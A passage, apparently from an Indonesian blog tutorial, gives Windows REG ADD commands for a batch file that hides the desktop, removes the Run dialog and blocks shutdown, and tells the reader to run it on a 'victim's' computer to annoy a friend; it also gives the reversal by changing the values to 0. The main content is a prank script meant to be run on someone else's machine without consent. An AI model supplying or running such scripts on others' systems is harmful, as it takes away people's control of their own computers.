REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
*********akhiri sebelum tanda bintang ***********
Klo udah kita jalankan file bat di computer korban……..eh tapi jgn lupa untuk membuat penawarnya dengan cara ubah script diatas pada nilai 1 menjadi 0
Contoh
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 1 /f
Menjadi
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoClose /t REG_DWORD /d 0 /f

dan lihat hsailnya kawan kamu bakal uring2an coz kompi dia gak bisa dimatiin, ga ada klik kanan dan bla bla bla
Otre sekian dulu silahkan modifikasi sendiri
Lihat Juga